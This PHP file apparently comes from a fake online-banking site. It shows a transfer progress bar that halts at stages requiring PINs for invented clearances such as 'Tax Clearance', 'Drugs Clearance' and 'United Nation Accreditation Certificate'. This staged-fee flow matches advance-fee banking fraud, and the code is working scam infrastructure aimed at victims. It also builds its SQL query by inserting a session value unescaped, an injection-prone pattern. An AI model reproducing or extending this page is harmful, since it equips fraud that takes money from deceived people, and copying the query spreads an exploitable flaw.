<?php
	session_start();
	include"../../connect/db.php"; 
    
    $chap = $_SESSION['chap'];
    
    $sql = mysqli_query($con,"SELECT code_level FROM users WHERE email = '$chap' ");
    $row = mysqli_fetch_assoc($sql);

    if( $row['code_level'] == "tax_clearance_code" ) {
        $progress = 
        '
          <div class="progress">
            <div class="progress-bar progress-bar-striped progress-bar" role="progressbar" aria-valuenow="15" aria-valuemin="0" aria-valuemax="100" style="width: 15%"></div>
          </div><br>
          <p style="font-weight: bold;">To continue this transfer, you have to Input the pin sent to you for Tax Clearance . Thank You for Banking with us</p>          
        ';
    }
    else if( $row['code_level'] == "activation_code" ){
        $progress = 
        '
          <div class="progress">
            <div class="progress-bar progress-bar-striped progress-bar" role="progressbar" aria-valuenow="35" aria-valuemin="0" aria-valuemax="100" style="width: 35%">35%</div>
          </div><br>
          <p style="font-weight: bold;">To continue this transfer, you have to Input the pin sent to you for Activation . Thank You for Banking with us</p>          
        ';
    }
    else if( $row['code_level'] == "drugs_clearance_code" ){
        $progress = 
        '
          <div class="progress">
            <div class="progress-bar progress-bar-striped progress-bar" role="progressbar" aria-valuenow="50" aria-valuemin="0" aria-valuemax="100" style="width: 50%">50%</div>
          </div><br>
          <p style="font-weight: bold;">To continue this transfer, you have to Input the pin sent to you for Drugs Clearance . Thank You for Banking with us</p>          
        ';        
    }
    else if( $row['code_level'] == "reflection_permit_code" ){
        $progress = 
        '
          <div class="progress">
            <div class="progress-bar progress-bar-striped progress-bar" role="progressbar" aria-valuenow="65" aria-valuemin="0" aria-valuemax="100" style="width: 65%">65%</div>
          </div><br>
          <p style="font-weight: bold;">To continue this transfer, you have to Input the pin sent to you for Reflection Permit . Thank You for Banking with us</p>          
        ';        
    }
    else if( $row['code_level'] == "united_nation_creditation_certificate_code" ){
        $progress = 
        '
          <div class="progress">
            <div class="progress-bar progress-bar-striped progress-bar" role="progressbar" aria-valuenow="85" aria-valuemin="0" aria-valuemax="100" style="width: 85%">85%</div>
          </div><br>
          <p style="font-weight: bold;">To continue this transfer, you have to Input the pin sent to you for United Nation Accreditation Certificate . Thank You for Banking with us</p>          
        ';        
    } 
    
    echo
    '
      '.$progress.'  
      <div class="form-group">
            <label for="pin_transfer">Pin</label>
            <input type="password" name="pin_transfer" class="form-control">
      </div>
      <span onclick="sbtcodepin()" class="btn btn-success" >Submit</span>         
    ';
 
    
?>